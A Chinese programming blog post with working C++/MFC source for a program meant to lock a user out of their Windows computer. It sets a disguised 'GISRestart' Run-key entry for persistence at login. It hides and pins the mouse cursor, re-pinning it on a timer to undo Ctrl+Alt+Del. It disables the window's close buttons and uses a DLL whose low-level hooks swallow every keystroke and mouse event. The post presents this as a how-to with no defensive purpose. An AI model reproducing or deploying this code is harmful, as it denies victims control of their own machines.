编写一个彻底拦截用户操作的程序

10 篇文章 0 订阅
3 篇文章 0 订阅

首先,我们得要有持久性,自启动是一个不错的选择,这里提供了一个自启动的函数。

void autostart()
{
	HKEY hKey;
	string strRegPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";

	//1、找到系统的启动项  
	if (RegOpenKeyExA(HKEY_CURRENT_USER, strRegPath.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) ///打开启动项       
	{
		//2、得到本程序自身的全路径
		TCHAR strExeFullDir[MAX_PATH];
		GetModuleFileName(NULL, strExeFullDir, MAX_PATH);

		//3、判断注册表项是否已经存在
		TCHAR strDir[MAX_PATH] = {};
		DWORD nLength = MAX_PATH;
		long result = RegGetValueA(hKey, nullptr, "GISRestart", RRF_RT_REG_SZ, 0, strDir, &nLength);

		//4、已经存在
		if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0)
		{
			//5、添加一个子Key,并设置值,"GISRestart"是应用程序名字(不加后缀.exe) 
			RegSetValueExA(hKey, "GISRestart", 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1)*sizeof(TCHAR));

			//6、关闭注册表
			RegCloseKey(hKey);
		}
	}
	
}

接着就是开始拦截,还需要一个全局变量

CRect rect1;

	SetCursorPos(0,0);//设定鼠标位置
	ShowCursor(SW_HIDE);//隐藏鼠标
	SetTimer(1, 300, NULL);
	GetWindowRect(&rect1);
	rect1.bottom = 0;//构造限制区域
	rect1.right = 0;
	rect1.left = 0;
	rect1.top = 0;
	ClipCursor(rect1);//限制鼠标在系统的(0,0,0,0)范围内
	LoadLibraryA("lanjie.dll");//加载钩子DLL
	autostart();//自启动

为了进一步加强效果,在鼠标移动消息中做处理,注意事先捕捉鼠标。

void CXXXDlg::OnMouseMove(UINT nFlags, CPoint point)
{
	// TODO: 在此添加消息处理程序代码和/或调用默认值
	
	ClipCursor(rect1);

	CDialogEx::OnMouseMove(nFlags, point);
}

考虑到ctrl+alt+delete可以取消ClipCursor,那么我们使用定时器,每0.3秒重新ClipCursor。

void CXXXDlg::OnTimer(UINT_PTR nIDEvent)
{
		ShowWindow(SW_HIDE);
		SetCursorPos(0, 0);
		ClipCursor(rect1);
}

以防万一,如果拦截键盘失败,那么至少以下代码可以防止用户直接关闭窗口

void CXXXDlg::OnIdcancel()
{
	// TODO: 在此添加命令处理程序代码
}


void CXXXDlg::OnIdok()
{
	// TODO: 在此添加命令处理程序代码
}


void CXXXDlg::OnIdyes()
{
	// TODO: 在此添加命令处理程序代码
}


void CXXXDlg::OnIdno()
{
	// TODO: 在此添加命令处理程序代码
}

接着就是拦截键盘,这里使用消息钩子实现。

以下是DLL代码,写了注释,就不在正文中解释了。

// lanjie.cpp : 定义 DLL 应用程序的导出函数。
//

#include "stdafx.h"


HHOOK g_hook = NULL;
HINSTANCE g_Inst = NULL;

HHOOK g_hook1 = NULL;
//HINSTANCE g_Inst1 = NULL;


LRESULT CALLBACK LowLevelKeyboardProc1(int nCode, WPARAM wParam, LPARAM lParam)
{//键盘钩子
	if (nCode < 0)
	{
		return CallNextHookEx(g_hook1, nCode, wParam, lParam);
	}
	if (HC_ACTION == nCode)//如果有键盘按键值
	{
		
			return TRUE;//拦截钩子
	}
	return CallNextHookEx(g_hook, nCode, wParam, lParam);//否则继续传递钩子
}
BOOL SetHookOn1()
{
	if (g_hook1 != NULL)
	{
		return FALSE;
	}
	g_hook1 = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc1, g_Inst, NULL);//创建键盘钩子
	if (NULL == g_hook1)
	{
		
		return FALSE;
	}
	return TRUE;
}



LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{//鼠标钩子的回调函数
	if (nCode < 0)
	{
	return CallNextHookEx(g_hook, nCode, wParam, lParam);//消息出错,继续传递钩子
	}
	
	
	return TRUE;//拦截操作
}
BOOL SetHookOn()
{
	if (g_hook != NULL)
	{
		return FALSE;
	}
	g_hook = SetWindowsHookEx(WH_MOUSE_LL, MouseProc, g_Inst, NULL);//创建钩子
	if (NULL == g_hook)
	{
		MessageBoxA(NULL, "安装钩子错误!", "error", MB_ICONSTOP);
		return FALSE;
	}
	return TRUE;
}
BOOL APIENTRY DllMain(HANDLE hMouble, DWORD u1_reason_for_call, LPVOID lpReserved)
{
	g_Inst = (HINSTANCE)hMouble;//记录模块句柄
	SetHookOn();//挂鼠标钩子
	SetHookOn1();//挂键盘钩子
	return TRUE;
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

爱编程的叶一笑

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值